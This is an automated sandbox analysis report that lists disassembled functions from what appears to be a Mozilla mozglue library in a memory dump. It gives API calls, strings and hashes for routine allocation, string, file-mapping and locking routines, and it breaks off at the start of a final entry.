Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 72995e17ca60debb3349153896eaee5de91cf9a2a043331c8ed9b867cdc65e1d
Instruction ID: e332b4341745663045c9c9472bc84deeb12a21b8517a42342029907bb684370b
Opcode Fuzzy Hash: 72995e17ca60debb3349153896eaee5de91cf9a2a043331c8ed9b867cdc65e1d
Instruction Fuzzy Hash: 2CB1E6B4A012099BDB18CFA8CA557EEBBB5FF84318F14411AD505ABF80D73199C9CBE1

Function 6CA5C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA5C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA5C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA5C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA5CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA5CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA5CAA5

Strings

(null), xrefs: 6CA5C596
0, xrefs: 6CA5D30A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 28a18924420c03629252c6b22047c1b5e5965cd84eaeaf6179edc1dc62030a46
Instruction ID: 96c3290b4984c6b81a841889c78bace43c616da7bc704a4305646147ef3d2c24
Opcode Fuzzy Hash: 28a18924420c03629252c6b22047c1b5e5965cd84eaeaf6179edc1dc62030a46
Instruction Fuzzy Hash: 25A19B706083429FDB00DF28C98475ABBE1BF8975CF48C92DE88A97751D731E895CB92

Function 6CA5C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA5C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA5C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CA5C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA5C891

Strings

inf, xrefs: 6CA5C78F
INF, xrefs: 6CA5C794
nan, xrefs: 6CA5C7A8
NAN, xrefs: 6CA5C7AD

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 41826495ce1aa8a5ce2faa324b11306f61ae5580054ca5918fd9bf7e1b615951
Instruction ID: af4fe91379c68844b8a105787f58c181b6f6b338b752db83b1a61e4e3b38d484
Opcode Fuzzy Hash: 41826495ce1aa8a5ce2faa324b11306f61ae5580054ca5918fd9bf7e1b615951
Instruction Fuzzy Hash: 91518F709087818BD704AF6CC58169AFBF1BF8E308F448A2CE9D5A7651E770D9D9CB42

Function 6CA34480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA74843,?), ref: 6CA345F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA74843,?), ref: 6CA3468A
free.MOZGLUE(?,?,?,?,?,?,6CA74843,?), ref: 6CA346C9
free.MOZGLUE(?), ref: 6CA346EF
free.MOZGLUE(?), ref: 6CA34712
free.MOZGLUE(?), ref: 6CA34735
free.MOZGLUE(?), ref: 6CA34758
free.MOZGLUE(?), ref: 6CA3477B
free.MOZGLUE(?), ref: 6CA3479E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 07599e5896b1f0ceb90dd84ef63203d7aea82feafde30814e6064314a47ec275
Instruction ID: 1e34b20f7e1fdba70c3d67dcaf21a892a27d8ba572029f6f5ee71df88c789330
Opcode Fuzzy Hash: 07599e5896b1f0ceb90dd84ef63203d7aea82feafde30814e6064314a47ec275
Instruction Fuzzy Hash: 2BB1F871A005208FDB18CE3CD9B476D7BB1AF42318F185669E81ADBB92D732D8C48B91

Function 6CA9AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CA9AC52
CreateFileMappingW.KERNEL32 ref: 6CA9AC7D
GetSystemInfo.KERNEL32 ref: 6CA9AC98
MapViewOfFile.KERNEL32 ref: 6CA9ACB0
GetSystemInfo.KERNEL32 ref: 6CA9ACCD
MapViewOfFile.KERNEL32 ref: 6CA9AD05
UnmapViewOfFile.KERNEL32 ref: 6CA9AD1C
CloseHandle.KERNEL32 ref: 6CA9AD28
UnmapViewOfFile.KERNEL32 ref: 6CA9AD37
CloseHandle.KERNEL32 ref: 6CA9AD43
CloseHandle.KERNEL32 ref: 6CA9AD67

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: c1716a041cf7f2163cbb52ad30307824fce8324919960a3fa41fa6315e623daf
Instruction ID: cb98b04ba00c02c38206f16afaee805edfccd57d045e6caa370fe12fcbf7c4d0
Opcode Fuzzy Hash: c1716a041cf7f2163cbb52ad30307824fce8324919960a3fa41fa6315e623daf
Instruction Fuzzy Hash: 1531A8B19043058FDB04EF7CD68926EBBF1FF85304F018A2DE88587221EB749499CB92

Function 6CA49620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA49675
__Init_thread_footer.LIBCMT ref: 6CA49697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA49707
__Init_thread_footer.LIBCMT ref: 6CA4971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA49773

Part of subcall function 6CA6AB89: EnterCriticalSection.KERNEL32(6CABE370,?,?,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB94
Part of subcall function 6CA6AB89: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA497B7
FreeLibrary.KERNEL32 ref: 6CA497D0
FreeLibrary.KERNEL32 ref: 6CA497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA49824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA49670
ntdll.dll, xrefs: 6CA496E3
NtMapViewOfSection, xrefs: 6CA49701
MapViewOfFileNuma2, xrefs: 6CA497B1

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: f7422f3704ed514aebda27e05c1d62eca274ccb6a7c4d0a4a745c4dde0877227
Instruction ID: aaf9bde42855e27707ec789a8e51bae6907dfcadc54ee828d587f7675f5451b0
Opcode Fuzzy Hash: f7422f3704ed514aebda27e05c1d62eca274ccb6a7c4d0a4a745c4dde0877227
Instruction Fuzzy Hash: C041E3786003069FDF04CFB5EE84A8677B8FB49314F08C168ED0597B50E730A996CBA1

Function 6CA31E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABE784), ref: 6CA31EC1
LeaveCriticalSection.KERNEL32(6CABE784), ref: 6CA31EE1
EnterCriticalSection.KERNEL32(6CABE744), ref: 6CA31F38
LeaveCriticalSection.KERNEL32(6CABE744), ref: 6CA31F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA31F83
LeaveCriticalSection.KERNEL32(6CABE784), ref: 6CA31FC0
EnterCriticalSection.KERNEL32(6CABE784), ref: 6CA31FE2
LeaveCriticalSection.KERNEL32(6CABE784), ref: 6CA31FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA32019

Strings

MOZ_CRASH(), xrefs: 6CA32000

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 8c65657bf89df3e8071b2de817a9e707de254ecbe84f95e3a2806e37b6693e2b
Instruction ID: d04c751f7e856a4026c1e92cf09a53ab712a1bdb91f9f7cad1713da95587030f
Opcode Fuzzy Hash: 8c65657bf89df3e8071b2de817a9e707de254ecbe84f95e3a2806e37b6693e2b
Instruction Fuzzy Hash: 17411271B003268FDF048F69C8D8B6A3BB4EF4A308F144166FA08D7B50D77198858BD9

Function 6CA47E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA47EA7
malloc.MOZGLUE(00000001), ref: 6CA47EB3

Part of subcall function 6CA4CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA4CB49
Part of subcall function 6CA4CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA4CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA47EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA47F19
malloc.MOZGLUE(?), ref: 6CA47F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA47F4D

Strings

d, xrefs: 6CA47F89

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: d42815f593d791ec0f3d1586ccd0f1133c3126c0a2482f4e9601cf773ba32229
Instruction ID: 50215ed8df47ad7c795f630ad7b3c6deb2cb3843291db9fb3f12d32c2f60abf7
Opcode Fuzzy Hash: d42815f593d791ec0f3d1586ccd0f1133c3126c0a2482f4e9601cf773ba32229
Instruction Fuzzy Hash: 87311871E0038997DB009B68DD049FEB778EF95208F44D629ED4997612FB30A5CDC390

Function 6CA43E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CA43CCC), ref: 6CA43EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA43FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CA43CCC), ref: 6CA44006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA440A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA43CCC), ref: 6CA440AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA43CCC), ref: 6CA440C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA44134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA43CCC), ref: 6CA44143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA43CCC), ref: 6CA44157

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 1c40032cb5b365f01fc4757b634adaea2cffe1f1f5a64a6eb9179a1cada48b7f
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 1CA192B1A01205CFEB40CF68C980659B7F5FF88308F298159D909AF742D776D896CFA0

Function 6CA32030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CA53F47,?,?,?,6CA53F47,6CA51A70,?), ref: 6CA3207F
memset.VCRUNTIME140(?,000000E5,6CA53F47,?,6CA53F47,6CA51A70,?), ref: 6CA320DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CA53F47,6CA51A70,?), ref: 6CA3211A
EnterCriticalSection.KERNEL32(6CABE744,?,6CA53F47,6CA51A70,?), ref: 6CA32145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CA53F47,6CA51A70,?), ref: 6CA321BA
EnterCriticalSection.KERNEL32(6CABE744,?,6CA53F47,6CA51A70,?), ref: 6CA321E0
LeaveCriticalSection.KERNEL32(6CABE744,?,6CA53F47,6CA51A70,?), ref: 6CA32232

Strings

MOZ_CRASH(), xrefs: 6CA3227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CA32253, 6CA32268

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 691b4cc16cec2c5a270d8ce0dd54e1926c8f3dee6c74e980471f9df5eb6f81a9
Instruction ID: b7b375c2252bcb675281478db8dd059f5fed6367f18dbde6be7a399b4d66b7c2
Opcode Fuzzy Hash: 691b4cc16cec2c5a270d8ce0dd54e1926c8f3dee6c74e980471f9df5eb6f81a9
Instruction Fuzzy Hash: 1C61F731F002268FCB04CEA9CDA976E72B1AF45318F294339E528E7A95D7709C85C7C5

Function 6CA348E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CA7483A,?), ref: 6CA34ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CA7483A,?), ref: 6CA34AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CA7483A,?), ref: 6CA34A82

Part of subcall function 6CA4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA4CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CA7483A,?), ref: 6CA34A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CA7483A,?), ref: 6CA34A35

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CA7483A,?), ref: 6CA34A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CA7483A,?), ref: 6CA34AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CA7483A,?), ref: 6CA34B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CA7483A,?), ref: 6CA34B2C

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 3104d510476d4d95202b8e404532df15210cf82ae9311c302df39c878a5dc7bb
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: E6716DB19007069FC754CF69C5909AABBF5FF09308B104A3ED15ADBB41E732E599CB80

Function 6CA89D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA88273), ref: 6CA89D65
free.MOZGLUE(6CA88273,?), ref: 6CA89D7C
free.MOZGLUE(?,?), ref: 6CA89D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA89E0F
free.MOZGLUE(6CA8946B,?,?), ref: 6CA89E24
free.MOZGLUE(?,?,?), ref: 6CA89E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA89EC8
free.MOZGLUE(6CA8946B,?,?,?), ref: 6CA89EDF
free.MOZGLUE(?,?,?,?), ref: 6CA89EF5

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 801a0dea542cc56aea97f8d1a46d43f8f0e800e8848314d362c1fc73f889405d
Instruction ID: 269912932b5123eb6e840de5e5c976382bbc17549488a20772bd97ce50a66957
Opcode Fuzzy Hash: 801a0dea542cc56aea97f8d1a46d43f8f0e800e8848314d362c1fc73f889405d
Instruction Fuzzy Hash: A9718EB090AB418BD712CF28C68055AF7F5FF99315B449619EC9A5BB01EB30F8C9CB91

Function 6CA8DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA8DDCF

Part of subcall function 6CA6FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6FA4B

Part of subcall function 6CA890E0: free.MOZGLUE(?,00000000,?,?,6CA8DEDB), ref: 6CA890FF
Part of subcall function 6CA890E0: free.MOZGLUE(?,00000000,?,?,6CA8DEDB), ref: 6CA89108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8DE0D
free.MOZGLUE(00000000), ref: 6CA8DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA7DEFD,?,6CA44A68), ref: 6CA8DF32

Part of subcall function 6CA8DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA8DB86
Part of subcall function 6CA8DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA8DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA7DEFD,?,6CA44A68), ref: 6CA8DF65
free.MOZGLUE(?), ref: 6CA8DF80

Part of subcall function 6CA55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA55EDB
Part of subcall function 6CA55E90: memset.VCRUNTIME140(6CA97765,000000E5,55CCCCCC), ref: 6CA55F27
Part of subcall function 6CA55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA55FB2

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 7781225bf37f95e47f80da9122d869c4f252e2a4985a7887630aaec4de979282
Instruction ID: f1e18ff1859ae2daab65725bb8b0ef3ac77f4e155b81e4a0e499e037b7997c9b
Opcode Fuzzy Hash: 7781225bf37f95e47f80da9122d869c4f252e2a4985a7887630aaec4de979282
Instruction Fuzzy Hash: AE51E972F037029BD7119B28D9806AEB372BF9171CF99411ED85A53B00D731F899CBA2

Function 6CA95D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CA95C8C,?,6CA6E829), ref: 6CA95D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CA95C8C,?,6CA6E829), ref: 6CA95D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CA95C8C,?,6CA6E829), ref: 6CA95D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CA95C8C,?,6CA6E829), ref: 6CA95D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CA95C8C,?,6CA6E829), ref: 6CA95DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CA95C8C,?,6CA6E829), ref: 6CA95DC9
std::_Facet_Register.LIBCPMT ref: 6CA95DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CA95C8C,?,6CA6E829), ref: 6CA95E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CA95C8C,?,6CA6E829), ref: 6CA95E45

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

